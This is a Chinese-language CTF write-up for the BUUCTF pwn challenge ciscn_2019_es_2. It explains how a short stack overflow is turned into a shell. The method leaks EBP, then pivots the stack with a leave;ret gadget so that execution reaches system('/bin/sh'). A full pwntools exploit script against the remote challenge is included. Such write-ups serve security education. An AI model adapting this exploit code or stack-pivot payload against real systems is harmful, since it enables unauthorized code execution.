BUUCTF Pwn ciscn_2019_es_2 WP

1.下载 checksec

用IDA32打开 定位main函数

发现了个假的后门函数:

看看vul函数:

使用read读取 想到栈溢出 但是只有48个 只能覆盖EBP和返回地址 长度不够构造

所以使用栈迁移

栈迁移需要用到leave ret 使用ROPgadget找地址:

构造第一个payload 泄露EBP地址:

python 复制代码
payload1 = b'a' * 0x27 + b'b'
p.send(payload1)
p.recvuntil(b'b')
ebp = u32(p.recv(4))
print(hex(ebp))

得到了EBP地址 需要调试以得出EBP地址离输入的距离:

下断点到vul函数 单步运行到函数快结尾位置查看栈情况:

看到EBP距离输入的位置有 0x78-0x50=0x28的距离 所以EBP距离输入这个字符串的地址为0x28+0x10=0x38

接下来构造payload2 目的是使得EIP指向system函数

python 复制代码
payload2 = b'aaaa' + p32(sys_addr) + b'aaaa' + p32(stdin_addr + 0x10) + b'/bin/sh\x00'
#在system函数前需要留空位 目的是在leave执行时pop ebp这一步让esp正好指向system函数
#参数必须是地址 所以传递的不能直接是binsh字符串而是其地址 前面知道了输入地址 再+0x10就能得出binsh地址
payload2 = payload2.ljust(0x28, b'\x00')
#填充payload2使其到达ebp位置
payload2 += p32(stdin_addr) + p32(lea_ret_addr)

整体代码:

python 复制代码
from pwn import *

#p = process('./es_2')
p = remote("node5.buuoj.cn", 27573)
elf = ELF('./es_2')
sys_addr = elf.plt['system']
lea_ret_addr = 0x08048562


#gdb.attach(p)
#pause()

payload1 = b'a' * 0x27 + b'b'
p.sendafter(b"your name?", payload1)
p.recvuntil(b'b')
ebp = u32(p.recv(4))
print(hex(ebp))
stdin_addr = ebp - 0x38

payload2 = b'aaaa' + p32(sys_addr) + b'aaaa' + p32(stdin_addr + 0x10) + b'/bin/sh\x00'
#在system函数前需要留空位 目的是在leave执行时pop ebp这一步让esp正好指向system函数
#参数必须是地址 所以传递的不能直接是binsh字符串而是其地址 前面知道了输入地址 再+0x10就能得出binsh地址
payload2 = payload2.ljust(0x28, b'\x00')
#填充payload2使其到达ebp位置
payload2 += p32(stdin_addr) + p32(lea_ret_addr)

p.send(payload2)
p.interactive()

运行 得到flag:

相关推荐
Whoami!2 小时前
⸢ 拾陆-Ⅲ⸥⤳ 安全数智化建设:安全自动化平台(上)▸概述
网络安全·信息安全·安全自动化平台·原子能力
Whoami!12 小时前
⸢ 拾陆-Ⅱ⸥⤳ 安全数智化建设:安全大数据平台
网络安全·信息安全·安全大数据
武汉唯众智创13 小时前
职业院校网络安全靶场实训演练系统建设方案
网络·安全·web安全·网络安全·网络安全靶场实训演练系统·网络安全靶场实训·网络安全实训演练系统
晓翔仔16 小时前
网络安全之Web入侵场景
前端·安全·web安全·网络安全·信息安全
Jason_Orton20 小时前
笔记本电脑触摸板失灵另类解决办法(I2C HID设备黄色感叹号)
运维·服务器·计算机网络·网络安全·电脑
汤愈韬1 天前
STP协议概述、STP工作原理、STP拓扑计算
网络·网络安全
jenchoi4131 天前
【2025-11-15】软件供应链安全日报:最新漏洞预警与投毒预警情报汇总
前端·网络·安全·网络安全·npm·node.js
white-persist1 天前
二进制movl及CTF逆向GDB解析:Python(env)环境下dbg从原理到实战
linux·服务器·开发语言·python·网络安全·信息可视化·系统安全
Bruce_Liuxiaowei1 天前
HTTPHTTPS探测出网技术详解:跨平台命令与实战方法
运维·windows·安全·网络安全
北京耐用通信1 天前
“耐达讯自动化Profibus总线光端机在化工变频泵控制系统中的应用与价值解析”
人工智能·科技·物联网·网络安全·自动化·信息与通信